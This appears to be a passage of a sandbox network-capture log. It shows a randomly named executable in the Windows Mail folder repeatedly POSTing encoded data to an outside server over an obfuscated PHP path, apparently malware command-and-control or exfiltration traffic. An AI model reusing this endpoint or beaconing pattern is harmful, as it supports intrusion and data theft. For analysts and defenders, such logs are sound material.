Jan 9, 2025 04:13:17.325798988 CET	380	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0c 1a 23 11 35 00 3d 04 3c 31 23 10 28 3f 3f 56 2a 21 28 59 2b 30 04 03 3e 04 2a 13 3d 03 3f 54 3c 02 36 18 33 21 2a 50 20 07 39 01 35 0a 2e 59 0c 1d 3a 06 29 15 0c 51 31 33 30 01 3e 1d 03 00 21 21 2c 07 30 10 00 11 27 3b 3f 0d 2b 0b 34 1d 29 21 01 14 2e 28 0b 41 27 0d 0c 51 25 14 21 5e 02 14 23 1f 3e 03 28 0d 3d 37 06 01 25 0c 03 0e 23 3e 3a 1f 36 38 0d 56 21 2b 2e 5b 2b 31 2e 10 20 21 34 5b 30 0a 2a 1b 37 08 25 54 29 23 2f 5c 2b 03 2b 49 01 31 55 56 Data Ascii: #5=<1#(??V!(Y+0>=?T<63!P 95.Y:)Q130>!!,0';?+4)!.(A'Q%!^#>(=7%#>:68V!+.[+1. !4[07%T)#/\++I1UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49962	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:16.624519110 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:16.982031107 CET	1048	OUT	Data Raw: 5a 5a 59 5a 5f 5d 58 5b 55 56 55 5a 56 5b 55 56 56 5d 5a 5a 55 5c 53 5a 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZZYZ_]X[UVUZV[UVV]ZZU\SZT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&%)/\4-&2"Z+X &?Y=5\&_.+U/Y1?]>7?+/ \%#Y)(
Jan 9, 2025 04:13:17.315649033 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:17.452053070 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49970	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:18.064265966 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:13:18.419202089 CET	1048	OUT	Data Raw: 5f 56 59 5d 5a 5c 5d 5d 55 56 55 5a 56 5c 55 5c 56 57 5a 5d 55 52 53 59 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _VY]Z\]]UVUZV\U\VWZ]URSYT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&_0)$ +%&1:[?>4(>8"1"*3Z23=Q$_+? \%#Y)4
Jan 9, 2025 04:13:18.763372898 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:18.936783075 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49978	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:19.073936939 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:19.435174942 CET	1048	OUT	Data Raw: 5f 50 5c 5c 5f 54 58 5b 55 56 55 5a 56 5e 55 5c 56 56 5a 5c 55 5c 53 5b 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _P\\_TX[UVUZV^U\VVZ\U\S[T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&^'7\79[$"&\+> %?)+='&+#?Z%Y/='$[/ \%#Y)<
Jan 9, 2025 04:13:19.766458035 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:19.895446062 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49984	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:20.032042980 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:20.399271965 CET	1048	OUT	Data Raw: 5f 51 59 5a 5f 5a 5d 5e 55 56 55 5a 56 5c 55 5d 56 54 5a 53 55 55 53 57 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _QYZ_Z]^UVUZV\U]VTZSUUSWT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&'9X";1'1-)-+Z#/(+5&**#&/?$'+ \%#Y)4
Jan 9, 2025 04:13:20.718605995 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:20.847402096 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49990	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:20.970642090 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:21.325506926 CET	1048	OUT	Data Raw: 5f 52 59 58 5f 5c 5d 5e 55 56 55 5a 56 59 55 50 56 51 5a 58 55 5d 53 5c 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _RYX_\]^UVUZVYUPVQZXU]S\T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%0?4]9\0%+.?X"5=;[1:%?3,%? X?$$Y/ \%#Y)
Jan 9, 2025 04:13:21.667953968 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:21.801448107 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49996	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:21.921109915 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:22.278804064 CET	1048	OUT	Data Raw: 5a 56 59 50 5a 5e 58 5b 55 56 55 5a 56 5d 55 53 56 53 5a 5f 55 50 53 58 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZVYPZ^X[UVUZV]USVSZ_UPSXT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&_3, ;&$&[<=?\#5)(%%9.+3_&Y0\*$,?/ \%#Y)0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50001	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:22.347023964 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1764 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:22.700488091 CET	1764	OUT	Data Raw: 5a 56 59 5b 5a 5c 5d 5e 55 56 55 5a 56 5b 55 52 56 51 5a 5d 55 51 53 5d 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZVY[Z\]^UVUZV[URVQZ]UQS]T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&]37X 102&?4 %8=+Y&9* ?_2Y8Y?$??? \%#Y)(
Jan 9, 2025 04:13:23.056955099 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:23.185549974 CET	380	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0c 1a 23 5b 21 00 26 10 3f 0c 3f 5e 2a 3f 2b 1d 2b 22 3c 5b 28 1e 2e 03 29 3a 32 11 3e 3d 2c 08 2b 3b 26 5e 30 0c 0b 0c 20 3e 3a 5a 22 0a 2e 59 0c 1d 39 17 3e 15 0c 1b 31 30 34 01 28 23 3a 5a 21 31 33 5b 24 00 04 1c 33 38 1d 0c 3c 0c 30 51 2b 31 02 09 2f 3b 39 42 24 23 22 52 24 3e 21 5e 02 14 23 58 3e 3d 2f 1d 28 27 37 59 32 31 2e 57 22 3d 04 1f 36 38 2f 15 21 38 3a 5b 2a 1f 35 00 20 0f 38 13 33 0d 35 07 20 57 3d 1f 3d 19 2f 5c 2b 03 2b 49 01 31 55 56 Data Ascii: #[!&??^?++"<[(.):2>=,+;&^0 >:Z".Y9>104(#:Z!13[$38<0Q+1/;9B$#"R$>!^#X>=/('7Y21.W"=68/!8:[5 835 W==/\++I1UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50002	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:22.469166040 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:22.825594902 CET	1048	OUT	Data Raw: 5a 53 59 5e 5f 5f 58 5f 55 56 55 5a 56 5e 55 55 56 57 5a 58 55 52 53 56 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZSY^__X_UVUZV^UUVWZXURSVT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&['(7\3"1<>'"5)]5Z%9+ #_%Y;)48[+/ \%#Y)<
Jan 9, 2025 04:13:23.194870949 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:23.324851036 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50008	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:23.453727007 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:13:23.809842110 CET	1048	OUT	Data Raw: 5a 57 59 5a 5a 58 58 5e 55 56 55 5a 56 5c 55 54 56 51 5a 5a 55 5c 53 56 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZWYZZXX^UVUZV\UTVQZZU\SVT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%$+ 8.&!!(?\ 5/]*+1"(3^%0>70[?? \%#Y)4
Jan 9, 2025 04:13:24.172323942 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:24.307225943 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50016	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:24.440439939 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:24.794413090 CET	1040	OUT	Data Raw: 5f 51 5c 5c 5a 5e 5d 59 55 56 55 5a 56 58 55 54 56 5c 5a 5b 55 50 53 5b 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _Q\\Z^]YUVUZVXUTV\Z[UPS[T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&3/Y79^3")+?]"5;)+'9=P(#+Z&,?>7( \%#Y)
Jan 9, 2025 04:13:25.149656057 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:25.285523891 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50022	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:25.566310883 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:25.919342995 CET	1048	OUT	Data Raw: 5a 5a 59 59 5a 5c 5d 5d 55 56 55 5a 56 5d 55 54 56 57 5a 59 55 52 53 5e 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZZYYZ\]]UVUZV]UTVWZYURS^T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&$_ #]"$T"Y+0 ;X=.':%+ 3_%,8?7 (? \%#Y)0
Jan 9, 2025 04:13:26.260720015 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:26.395663977 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50029	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:26.521147966 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:26.872370958 CET	1048	OUT	Data Raw: 5a 51 59 5f 5a 5e 58 59 55 56 55 5a 56 5d 55 54 56 57 5a 5b 55 55 53 58 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZQY_Z^XYUVUZV]UTVWZ[UUSXT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%%)3Y#&2)=+ ?=8)&&+3'&?) [*/ \%#Y)0
Jan 9, 2025 04:13:27.220649004 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:27.358288050 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50039	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:27.485671997 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:27.841286898 CET	1048	OUT	Data Raw: 5f 50 59 50 5f 5b 58 5a 55 56 55 5a 56 5c 55 55 56 54 5a 5f 55 53 53 5e 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _PYP_[XZUVUZV\UUVTZ_USS^T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&0(#(!]$+>#Y75?]))\&9-?/$/+>'(Z< \%#Y)4
Jan 9, 2025 04:13:28.197752953 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50044	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
